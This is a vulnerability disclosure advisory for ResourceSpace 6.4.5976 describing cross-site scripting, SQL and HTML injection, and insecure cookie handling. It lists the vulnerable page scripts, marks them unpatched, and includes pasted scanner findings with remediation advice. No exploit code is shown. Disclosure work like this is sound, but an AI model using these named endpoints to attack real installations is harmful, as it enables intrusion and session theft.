ResourceSpace 6.4.5976 – Cross-Site Scripting / SQL Injection / Insecure Cookie Handling
Title: ResourceSpace Multiple Cross Site Scripting, and HTML and SQL Injection Vulnerabilities Author: Adler Freiheit Discovered: 11 June 2014 Updated: 11 December 2014 Published: 11 December 2014 Vendor: Montala Limited Vendor url: www.resourcespace.org Software: ResourceSpace Digital Asset Management Software Versions: 6.4.5976 and prior Status: Unpatched Vulnerable scripts: /pages/themes.php /pages/preview.php /pages/help.php /pages/search.php /pages/user_password.php /pages/user_request.php (and probably others) Description: ResourceSpace is vulnerable to Cross-Site Scripting, and HTML and SQL injection attacks, and insecure cookie handling. The scripts fail to properly sanitize user-supplied input, check the network protocol used to access the site. Vulnerability: SC1414 Name: Cross Site Scripting (XSS) Type: Application Asset Group: Multiple Source: SureCloud IP Address: Status: Open Hostname: Last Seen: 6 Oct 2014 Service: tcp/https:443 Severity: 4 Risk: 40 CVSS Base Score: 5.8 ( Exploit: 8.6 Impact: 4.9 ) Resolution Effort: 3 Description: This web application is vulnerable to Cross Site Scripting (XSS). XSS is caused when an application echoes user controllable input data back to the browser without first sanitising or escaping dangerous characters. Unescaped strings are then interpreted or executed by the browser as script, just as if they had originated from the web server. Malicious script is sent by the attacker via the vulnerable web application and executed on the victims browser, within the context of that user and may be used to steal session information, redirect users to a malicious site, and even steal credentials in a Phishing attack. Ref: http://www.owasp.org/index.php/Cross_Site_Scripting http://cwe.mitre.org/data/definitions/79.html Solution: Validate all user controllable input data (hidden fields, URL parameters, Cookie values, HTTP headers etc) against expected Type, Length and where possible, Format and Range characteristics. Reject any data that fails validation. Sanitise all user controllable input data (hidden fields, URL parameters, Cookie values, HTTP headers etc) by converting potentially dangerous characters (listed below) into HTML entities such as > < etc using output encoding. By combining proper input validation with effective input sanitisation and output encoding, Cross Site Scripting vulnerabilities will be mitigated.

By leveraging this issue, an attacker may be able to execute arbitrary commands on the remote host. Note that this script uses a timebased detection method which is less reliable than the basic method. Solution: Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed inuser's browser within the security context of the affected site. The remote web server may be vulnerable to IFRAME injections or crosssite scripting attacks : IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks. XSS are extensively tested by four other scripts. Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

Solution The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
